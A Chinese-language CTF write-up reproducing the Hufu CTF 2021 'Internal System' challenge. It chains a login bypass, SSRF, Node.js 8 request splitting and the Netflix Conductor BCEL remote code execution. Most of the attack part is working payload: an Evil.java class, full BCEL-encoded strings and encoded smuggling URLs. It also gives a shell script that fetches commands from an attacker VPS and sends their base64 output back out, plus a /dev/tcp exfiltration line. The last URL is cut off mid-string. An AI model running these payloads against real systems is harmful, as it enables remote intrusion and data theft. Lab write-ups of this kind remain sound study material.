引言
前几天打了个 2021 数字中国创新大赛虎符网络安全赛道,或者说是 虎符 CTF。
写了几道 Web 的 Writeup 丢在下面这里了。
Web 中还有一道零解的题目,即 internal_system。
正好看到赵总的 buuoj 开了环境,趁着还有兴趣,就来复现一下吧。
环境: [虎符CTF 2021] Internal System
复现过程主要参考了 glzjin 师傅的 虎符 CTF2021 Web 零解题 Internal System WriteUp
题目描述
开发了一个公司内部的请求代理网站,好像有点问题,但来不及了还是先上线吧(─.─||)
hint: /source存在源码泄露;/proxy存在ssrf
Steps
Step 01 登录 JS 弱类型绕过
访问 /source
得到源码,啊是 NodeJS。
const express = require('express')
const router = express.Router()
const axios = require('axios')
const isIp = require('is-ip')
const IP = require('ip')
const UrlParse = require('url-parse')
const {sha256, hint} = require('./utils')
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin'))
const port = process.env.PORT || 3000
function formatResopnse(response) {
if(typeof(response) !== typeof('')) {
return JSON.stringify(response)
} else {
return response
}
}
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
router.get('/', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.redirect('/index')
}
})
router.get('/login', (req, res, next) => {
const {username, password} = req.query;
if(!username || !password || username === password || username.length === password.length || username === 'admin') {
res.render('login')
} else {
const hash = sha256(sha256(salt + username) + sha256(salt + password))
req.session.admin = hash === adminHash
res.redirect('/index')
}
})
router.get('/index', (req, res, next) => {
if(req.session.admin === undefined || req.session.admin === null) {
res.redirect('/login')
} else {
res.render('index', {admin: req.session.admin})
}
})
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
router.post('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
// test url
// not implemented here
const url = "https://postman-echo.com/post"
await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', "Something needs to be implemented")
})
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
router.get('/source', (req, res, next)=>{
res.sendFile( __dirname + "/" + "route.js");
})
router.get('/flag', (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'No Flag For You!'})
}
return res.json({hint: hint})
})
module.exports = router
首先需要登录,这里用到了 JavaScript 弱类型的特性。
参考 SuSeC CTF 2020 Writeup & 基于Node.JS的sha1绕过分析
JavaScript 在使用加号拼接的时候最终会得到一个字符串(string),于是不会影响 sha256 的处理。
这里是用 GET query 传参,可以构造 payload
username[]=admin&password=admin
就能成功以管理员身份进入。
接下来打 ssrf……
Step 02 SSRF 拿 hint
登录之后,赵总这里给出了网络接口相关的参数,比赛环境里倒没有,得瞎猜。
不过 docker 内网默认是 172.1x.0.x 开始倒是了。
这里提交的 URL 会调用 GET /proxy
接口。再来看源码。
function SSRF_WAF(url) {
const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
return isIp(host) && IP.isPublic(host)
}
function FLAG_WAF(url) {
const pathname = new UrlParse(url).pathname
return !pathname.startsWith('/flag')
}
function OTHER_WAF(url) {
return true;
}
const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
// ...
router.get('/proxy', async(req, res, next) => {
if(!req.session.admin) {
return res.redirect('/index')
}
const url = decodeURI(req.query.url);
console.log(url)
const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b)
if(!status) {
res.render('base', {title: 'WAF', content: "Here is the waf..."})
} else {
try {
const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)
res.render('base', response.data)
} catch(error) {
res.render('base', error.message)
}
}
})
这几个 WAF 需要输入的 URL Host 为公网 IP,且目录不以 /flag
开头。
这个 NodeJS 服务默认是开在 3000 端口,但是如果直接访问 http://127.0.0.1:3000/
会被 WAF 给拦住。
试了试访问自己的 VPS,是能通的。
考虑到机器上的服务一般监听 0.0.0.0,于是构造 URL
/proxy?url=http://0.0.0.0:3000/
成功访问到了当前站点的首页。
我们需要访问的是 /flag
,为了绕过 WAF,可以利用 /search
接口。
router.all('/search', async (req, res, next) => {
if(!/127\.0\.0\.1/.test(req.ip)){
return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
}
const result = {title: 'Search Success', content: ''}
const method = req.method.toLowerCase()
const url = decodeURI(req.query.url)
const data = req.body
try {
if(method == 'get') {
const response = await axios.get(url)
result.content = formatResopnse(response.data)
} else if(method == 'post') {
const response = await axios.post(url, data)
result.content = formatResopnse(response.data)
} else {
result.title = 'Error'
result.content = 'Unsupported Method'
}
} catch(error) {
result.title = 'Error'
result.content = error.message
}
return res.json(result)
})
构造 payload
/proxy?url=http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag
{"title":"Search Success","content":"{\"hint\":\"someone else also deploy a netflix conductor server in Intranet?\"}"}
提示在内网中有一个 netflix conductor server。
搜一下,这是一个微服务编排工具。
https://github.com/Netflix/conductor
https://netflix.github.io/conductor/
Conductor is an orchestration engine that runs in the cloud.
Step 03 内网找 Conductor 服务
它默认是开在 8080 端口,于是在内网中找一找/扫一扫。
本机上是没有的,在给出的内网网段里找一找,发现有了。
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.122.14:8080
这是一个 Swagger UI,也就是个 API 接口文档。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Swagger UI</title>
<link rel="icon" type="image/png" href="images/favicon-32x32.png" sizes="32x32" />
<link rel="icon" type="image/png" href="images/favicon-16x16.png" sizes="16x16" />
<link href='css/typography.css' media='screen' rel='stylesheet' type='text/css'/>
<link href='css/reset.css' media='screen' rel='stylesheet' type='text/css'/>
<link href='css/screen.css' media='screen' rel='stylesheet' type='text/css'/>
<link href='css/reset.css' media='print' rel='stylesheet' type='text/css'/>
<link href='css/print.css' media='print' rel='stylesheet' type='text/css'/>
<script src='lib/object-assign-pollyfill.js' type='text/javascript'></script>
<script src='lib/jquery-1.8.0.min.js' type='text/javascript'></script>
<script src='lib/jquery.slideto.min.js' type='text/javascript'></script>
<script src='lib/jquery.wiggle.min.js' type='text/javascript'></script>
<script src='lib/jquery.ba-bbq.min.js' type='text/javascript'></script>
<script src='lib/handlebars-4.0.5.js' type='text/javascript'></script>
<script src='lib/lodash.min.js' type='text/javascript'></script>
<script src='lib/backbone-min.js' type='text/javascript'></script>
<script src='swagger-ui.js' type='text/javascript'></script>
<script src='lib/highlight.9.1.0.pack.js' type='text/javascript'></script>
<script src='lib/highlight.9.1.0.pack_extended.js' type='text/javascript'></script>
<script src='lib/jsoneditor.min.js' type='text/javascript'></script>
<script src='lib/marked.js' type='text/javascript'></script>
<script src='lib/swagger-oauth.js' type='text/javascript'></script>
<!-- Some basic translations -->
<!-- <script src='lang/translator.js' type='text/javascript'></script> -->
<!-- <script src='lang/ru.js' type='text/javascript'></script> -->
<!-- <script src='lang/en.js' type='text/javascript'></script> -->
<script type="text/javascript">
$(function () {
var url = window.location.search.match(/url=([^&]+)/); //http://127.0.0.1:8080/?url=127.0.0.1:8080
if (url && url.length > 1) {
url = decodeURIComponent(url[1]);
if (!url.includes('://')) {
url = `http://${url}`;
}
} else {
url = window.location.origin;
}
hljs.configure({
highlightSizeThreshold: 5000
});
// Pre load translate...
if(window.SwaggerTranslator) {
window.SwaggerTranslator.translate();
}
window.swaggerUi = new SwaggerUi({
url: url + "/api/swagger.json",
dom_id: "swagger-ui-container",
supportedSubmitMethods: ['get', 'post', 'put', 'delete', 'patch'],
onComplete: function(swaggerApi, swaggerUi){
window.swaggerUi.api.setBasePath("/api");
if(typeof initOAuth == "function") {
initOAuth({
clientId: "your-client-id",
clientSecret: "your-client-secret-if-required",
realm: "your-realms",
appName: "your-app-name",
scopeSeparator: " ",
additionalQueryStringParams: {}
});
}
if(window.SwaggerTranslator) {
window.SwaggerTranslator.translate();
}
},
onFailure: function(data) {
log("Unable to Load SwaggerUI");
},
docExpansion: "none",
jsonEditor: false,
defaultModelRendering: 'schema',
showRequestHeaders: false
});
window.swaggerUi.load();
function log() {
if ('console' in window) {
console.log.apply(console, arguments);
}
}
});
</script>
</head>
<body class="swagger-section">
<div id='header'>
<div class="swagger-ui-wrap">
<a id="logo" href="http://swagger.io"><img class="logo__img" alt="swagger" height="30" width="30" src="images/logo_small.png" /><span class="logo__title">swagger</span></a>
<form id='api_selector'>
<div class='input'><input placeholder="http://example.com/api" id="input_baseUrl" name="baseUrl" type="text"/></div>
<div id='auth_container'></div>
<div class='input'><a id="explore" class="header__btn" href="#" data-sw-translate>Explore</a></div>
</form>
</div>
</div>
<div id="message-bar" class="swagger-ui-wrap" data-sw-translate> </div>
<div id="swagger-ui-container" class="swagger-ui-wrap"></div>
</body>
</html>
根据 swagger.json
拿到接口列表。
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.122.14:8080/api/swagger.json
直接找了个 Swagger UI demo,然后本地起个服务,把上面得到的数据导进去。
先看看配置参数。
/proxy?url=http://0.0.0.0:3000/search?url=http://10.0.122.14:8080/api/admin/config
得到
{
"jetty.git.hash": "b1e6b55512e008f7fbdf1cbea4ff8a6446d1073b",
"loadSample": "true",
"io.netty.noUnsafe": "true",
"conductor.jetty.server.enabled": "true",
"io.netty.noKeySetOptimization": "true",
"buildDate": "2021-04-03_17:38:09",
"io.netty.recycler.maxCapacityPerThread": "0",
"conductor.grpc.server.enabled": "false",
"version": "2.26.0-SNAPSHOT",
"queues.dynomite.nonQuorum.port": "22122",
"workflow.elasticsearch.url": "es:9300",
"workflow.namespace.queue.prefix": "conductor_queues",
"user.timezone": "GMT",
"workflow.dynomite.cluster.name": "dyno1",
"sun.nio.ch.bugLevel": "",
"workflow.dynomite.cluster.hosts": "dyno1:8102:us-east-1c",
"workflow.elasticsearch.instanceType": "external",
"db": "dynomite",
"queues.dynomite.threads": "10",
"workflow.namespace.prefix": "conductor",
"workflow.elasticsearch.index.name": "conductor"
}
版本为 2.26.0-SNAPSHOT
。
Step 04 Netflix Conductor RCE
参考 CVE-2020-9296-Netflix-Conductor-RCE-漏洞分析
太顶了!(咱不会 Java,哭哭
这个漏洞出在
/api/metadata/taskdefs
上,需要 POST 一个 JSON 过去,里面含有恶意的 BCEL 编码,可以造成 RCE。
什么是 BCEL编码 呢?
http://commons.apache.org/proper/commons-bcel/
The Byte Code Engineering Library (Apache Commons BCEL™) is intended to give users a convenient way to analyze, create, and manipulate (binary) Java class files (those ending with .class). Classes are represented by objects which contain all the symbolic information of the given class: methods, fields and byte code instructions, in particular.
Byte Code Engineering Library (BCEL),这是Apache Software Foundation 的Jakarta 项目的一部分。BCEL是 Java classworking 最广泛使用的一种框架,它可以让您深入 JVM 汇编语言进行类操作的细节。
可以用 BCELCodeman 这个工具来编码、解码。
Step 05 NodeJS 8 HTTP 请求走私
暂且先不看这个,咱先看看 怎么从 GET 接口打 POST 请求。
NodeJS 有个 CVE-2018-12116,可以在 path
里构造带有 Unicode 的数据,发送非预期的路径给服务端来生成另一个 HTTP 请求。
或者可以说是 HTTP 请求走私(HTTP request smuggling)。
Node.js: All versions prior to Node.js 6.15.0 and 8.14.0: HTTP request splitting: If Node.js can be convinced to use unsanitized user-provided Unicode data for the
path
option of an HTTP request, then data can be provided which will trigger a second, unexpected, and user-defined HTTP request to made to the same server.
(草,这也行
根据源码中的
const salt = 'nooooooooodejssssssssss8_issssss_beeeeest'
可以知道用到的是 NodeJS 8. (这谁想到呢
唉,巨古老的版本,好烦手上没环境 docker 大法好啊!
搜一下 tag
https://hub.docker.com/_/node?tab=description&page=1&ordering=last_updated&name=8.13
(本来看影响范围到 8.14.0 的,于是试了一下 8.14.0-alpine,然而发现报错 TypeError: Request path contains unescaped characters
,看来貌似修了
docker pull node:8.13.0-alpine
docker run -itd --name node8.13-test node:8.13.0-alpine
docker exec -it node8.13-test /bin/sh
# 进入docker里执行
npm i axios
node
然后给自己服务器打打试试,服务器上起个服务监听端口。
Node 里执行
const axios = require('axios')
var s = 'http://VPSIP/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'
axios.get(s).then((r) => console.log(r.data)).catch(console.error)
可以看到请求成功换行了,而且夹带了一个新的请求。
再夹带一个 POST 请求试试
var s = 'http://VPSIP/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.66.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:15\u{010D}\u{010A}\u{010D}\u{010A}MiaoTony Meow~~\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'
好耶,POST 请求构造成功了!
Step 06 借助 SSRF 打 Conductor RCE
那再回来看 Conductor RCE。
直接改 赵总的 Exploit 好了。
这里其实试了无数次,发现都反弹不了 shell,估计是没有 bash,但甚至直接 cat /flag > /dev/tcp/IP/PORT
也出不来,不懂为啥。。(难道重定向不行?
(心态炸了!!!啊啊啊啊啊啊啊!
最后没办法,还是先把 shell 脚本写入文件,再 sh filename
执行代码。
为了方便修改命令,就在 VPS 上放要执行的命令,靶机上的 shell 里利用 wget 下来后执行命令,再利用 URL 传参把执行结果返回给 VPS。
Evil.java
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("wget http://VPSIP:PORT/ -O /tmp/miaotony");
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
然后编译得到一个 Evil.class
,再利用 BCELCodeman 转换为 BCEL 编码。
javac Evil.java
java -jar BCELCodeman.jar e Evil.class
(喵喵这里用的 java 版本是
# javac -version
javac 1.8.0_221
# java -version
java version "1.8.0_221"
Java(TM) SE Runtime Environment (build 1.8.0_221-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.221-b11, mixed mode)
组合到 JSON 里
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5......').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
最后构造 POST 请求。
POST /api/metadata/taskdefs? HTTP/1.1
Host: 10.0.64.14:8080
Content-Type: application/json
Content-Length:1408
[{"name":"${'1'.getClass().forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInstance().loadClass('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5......').newInstance().class}","ownerEmail":"[email protected]","retryCount":"3","timeoutSeconds":"1200","inputKeys":["sourceRequestId","qcElementType"],"outputKeys":["state","skipped","result"],"timeoutPolicy":"TIME_OUT_WF","retryLogic":"FIXED","retryDelaySeconds":"600","responseTimeoutSeconds":"3600","concurrentExecLimit":"100","rateLimitFrequencyInSeconds":"60","rateLimitPerFrequency":"50","isolationgroupId":"myIsolationGroupId"}]
再 URL 编码一下,还需要借助 /proxy
接口 SSRF 代理请求。
参考一下赵总的 JS 脚本。
post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5d$_$DA$U$3d$b3$adn$bbZm$d1R$9f$c5$83$ov$e3$p$aa$88$X$e1$a9$3e$a2$N$P$5el$d7$a4$a6$da$edfM$R$7f$c8$b3$X$c4$83$l$e0G$e1$c......\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}[email protected]\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
console.log(encodeURI(encodeURI(encodeURI('http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.64.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload + '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
打的时候记得改一下 $$BCEL$$
那部分,以及 conductor 那台靶机的 IP。
得到
http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.64.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1536%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$5dO$gA$U$3d$b3$m$L$db$a5$7cXh$b1$l$82$3e$I$9a$b2$rAi$d1$f8$d2$d0$tZ$8c$Q$7d$f0$c5a$9d$d0$b1$ecG$d6$c1$da_$d4g_$b4$f1$c1$l$e0$8f$b2$bd$b31$d2$a4$9dd$ce$cc$3d$f7$cc$b9wf$ee$eeon$B$b4$b1j$n$8dg$WJ$u$a7$f1$5c$af$_LT$y$y$60$c9$c4K$T$af$YR$3b$d2$97j$97$nQo$i0$q$3f$G$t$82$n$d7$97$be$f82$f3$c6$o$g$f1$f1$94$98$ecPq$f7$dbg$k$c6q$7c$baBr$8fK$9f$a1$5c$3f$ea$9f$f2s$eeL$b9$3fq$86$w$92$fed$5b$dbY$c3$60$W$b9$e2$93$d4$W$99$de$b9$9c6$b5$ceF$G$96$89$d76$de$60$99$c1$f9$3e$R$aa$faU$a9$b0$eb8$edN$f3$c3V$b3$b5$d5n$b66$db$ddN$eb$fd$bb$ea$dbA$d5Q$5e$e8x$92$H$w$f0$7f$d8$a8$a2$c6$b08$_$d9$bbpE$a8d$e0$dbX$81E$7d$e9R$M$f9$b9b0$3e$V$aeb$u$cc$a9$fd$99$af$a4G$8dYT$fe1$u$d5$h$fd$7f4$dbd$v$$$84$cb$b0V$ff$cfM$ff$a2$f6$a2$c0$Vggt$m$XRR$c5$cf6$8a$b8$xP$83I$df$a1$87$B$a6_$80$f0$JE$c7$U$h$b4$96$d7$af$c1$7e$c1$u$s$ae$90$3c$fc$89t$7f$e3$K$a9KR$r$91E$9e$7e$cd$80M$ba$r$a4$I$T$c4$$$Q$9f$a1$8c$89$C9$97$c81K$99$3c$8c$df$E$cc$c4S$N$b9d$ac$v$3cT$ab$d0dz$5e$c6$hm$98$8a$89$ya1nn$f1$P$LRz$KA$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email protected]%2525C4%2525A2,%2525C4%2525A2retryCount%2525C4%2525A2:%2525C4%2525A23%2525C4%2525A2,%2525C4%2525A2timeoutSeconds%2525C4%2525A2:%2525C4%2525A21200%2525C4%2525A2,%2525C4%2525A2inputKeys%2525C4%2525A2:%25255B%2525C4%2525A2sourceRequestId%2525C4%2525A2,%2525C4%2525A2qcElementType%2525C4%2525A2%25255D,%2525C4%2525A2outputKeys%2525C4%2525A2:%25255B%2525C4%2525A2state%2525C4%2525A2,%2525C4%2525A2skipped%2525C4%2525A2,%2525C4%2525A2result%2525C4%2525A2%25255D,%2525C4%2525A2timeoutPolicy%2525C4%2525A2:%2525C4%2525A2TIME_OUT_WF%2525C4%2525A2,%2525C4%2525A2retryLogic%2525C4%2525A2:%2525C4%2525A2FIXED%2525C4%2525A2,%2525C4%2525A2retryDelaySeconds%2525C4%2525A2:%2525C4%2525A2600%2525C4%2525A2,%2525C4%2525A2responseTimeoutSeconds%2525C4%2525A2:%2525C4%2525A23600%2525C4%2525A2,%2525C4%2525A2concurrentExecLimit%2525C4%2525A2:%2525C4%2525A2100%2525C4%2525A2,%2525C4%2525A2rateLimitFrequencyInSeconds%2525C4%2525A2:%2525C4%2525A260%2525C4%2525A2,%2525C4%2525A2rateLimitPerFrequency%2525C4%2525A2:%2525C4%2525A250%2525C4%2525A2,%2525C4%2525A2isolationgroupId%2525C4%2525A2:%2525C4%2525A2myIsolationGroupId%2525C4%2525A2%2525C5%2525BD%25255D%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258AGET%2525C4%2525A0/private
然后在自己 VPS 上起一个 web 服务,访问 http://VPSIP:PORT/
的时候返回一个 shell 脚本。
#!/bin/sh
wget -O- -q http://VPSIP:PORT/`wget -O- -q http://VPSIP:PORT/command|sh|base64|awk '{printf("%s",$0)}'` | echo
同时在监听 http://VPSIP:PORT/command
的地方放你要执行的命令,比如
whoami && cat /flag
这里执行的时候会访问 http://VPSIP:PORT/command
,执行这条命令,再进行 base64 编码,最后把换行给去掉。最后把执行的结果返回到 http://VPSIP:PORT/xxx
这个路由下,根据服务器的日志,把 path base64 解码一下就能拿到执行的结果了。
如果不去掉换行的话 base64 多行的话会丢信息,执行还会认为是多个 wget 命令于是报错。。
再按照这一步的思路,同理生成一个 执行 /tmp/miaotony
的 URL。
public class Evil
{
public Evil() {
try {
Runtime.getRuntime().exec("sh /tmp/miaotony"); // <========
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
BCEL:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$K$85Z$EDP$f0$85$ba$Q4$b1$hw$g7FW$f8$88$Y$5d$b8q$a8$T$i$a5$z$v$D$d1$_r$cdF$8d$L$3f$c0$8fR$ef4FLt$9293$f7$dcs$cf$9d$c7$fb$c7$eb$h$80$z$ac$daHc$daF$J$e54f$f4$3ak$a1b$p$89$aa$859$L$f3$M$a9$j$ZH$b5$cb$90$a87$ce$Z$cc$bd$f0Z0$e4$9a2$QG$D$bf$z$a23$de$ee$S$93m$v$ee$dd$j$f2$5e$i$c7$d5$V$92$fb$5c$G$M$e5$fae$f3$96$P$b9$db$e5A$c7m$a9H$G$9dmmg$b7$c2A$e4$89$D$a9$z2$fbC$d9$dd$d4$3a$H$Z$d8$W$W$i$yb$89$n$df$bf$a9$b9$ca$ef$b9$be$e4$a1$K$83$H$H5$y3$U$c7$9e$fb$f7$9e$e8$v$Z$G$OV$60Sc$edE$95c$c5q$fbVx$8a$a10$a6N$H$81$92$3eu$b6$3bB$fd$E$a5z$a3$f9G$b3M$96$e2$5ex$Mk$f5$7f$ae$f2$8b$3a$89BO$f4$fbT$90$ebQR$c5$efr$WqO$60$Z$W$bd$b7$k$G$98$be$o$e1$EEW$U$h$b4$96$d7$9f$c1$5e$60L$r$9e$60$5e$3c$o$dd$dcxBjD$w$TY$e4$e9$5b$M8$a4$ab$oE$98$m6I$7c$862$W$K$e4$5c$o$c7$ye$f20$3e$J$98$85I$N93$d6$U$be$bbUh2$3dG$f1F$h$a6b$oK8$V$l$ae$f8$F$bat$9bh$o$C$A$A
URL:
http://0.0.0.0:3000/%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258APOST%2525C4%2525A0/search?url=http://10.0.64.14:8080/api/metadata/taskdefs%2525C4%2525A0HTTP/1.1%2525C4%25258D%2525C4%25258AHost:127.0.0.1:3000%2525C4%25258D%2525C4%25258AContent-Type:application/json%2525C4%25258D%2525C4%25258AContent-Length:1408%2525C4%25258D%2525C4%25258A%2525C4%25258D%2525C4%25258A%25255B%2525C5%2525BB%2525C4%2525A2name%2525C4%2525A2:%2525C4%2525A2$%2525C5%2525BB%2525C4%2525A71%2525C4%2525A7.getClass().forName(%2525C4%2525A7com.sun.org.apache.bcel.internal.util.ClassLoader%2525C4%2525A7).newInstance().loadClass(%2525C4%2525A7$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$K$85Z$EDP$f0$85$ba$Q4$b1$hw$g7FW$f8$88$Y$5d$b8q$a8$T$i$a5$z$v$D$d1$_r$cdF$8d$L$3f$c0$8fR$ef4FLt$9293$f7$dcs$cf$9d$c7$fb$c7$eb$h$80$z$ac$daHc$daF$J$e54f$f4$3ak$a1b$p$89$aa$859$L$f3$M$a9$j$ZH$b5$cb$90$a87$ce$Z$cc$bd$f0Z0$e4$9a2$QG$D$bf$z$a23$de$ee$S$93m$v$ee$dd$j$f2$5e$i$c7$d5$V$92$fb$5c$G$M$e5$fae$f3$96$P$b9$db$e5A$c7m$a9H$G$9dmmg$b7$c2A$e4$89$D$a9$z2$fbC$d9$dd$d4$3a$H$Z$d8$W$W$i$yb$89$n$df$bf$a9$b9$ca$ef$b9$be$e4$a1$K$83$H$H5$y3$U$c7$9e$fb$f7$9e$e8$v$Z$G$OV$60Sc$edE$95c$c5q$fbVx$8a$a10$a6N$H$81$92$3eu$b6$3bB$fd$E$a5z$a3$f9G$b3M$96$e2$5ex$Mk$f5$7f$ae$f2$8b$3a$89BO$f4$fbT$90$ebQR$c5$efr$WqO$60$Z$W$bd$b7$k$G$98$be$o$e1$EEW$U$h$b4$96$d7$9f$c1$5e$60L$r$9e$60$5e$3c$o$dd$dcxBjD$w$TY$e4$e9$5b$M8$a4$ab$oE$98$m6I$7c$862$W$K$e4$5c$o$c7$ye$f20$3e$J$98$85I$N93$d6$U$be$bbUh2$3dG$f1F$h$a6b$oK8$V$l$ae$f8$F$bat$9bh$o$C$A$A%2525C4%2525A7).newInstance().class%2525C5%2525BD%2525C4%2525A2,%2525C4%2525A2ownerEmail%2525C4%2525A2:%2525C4%[email 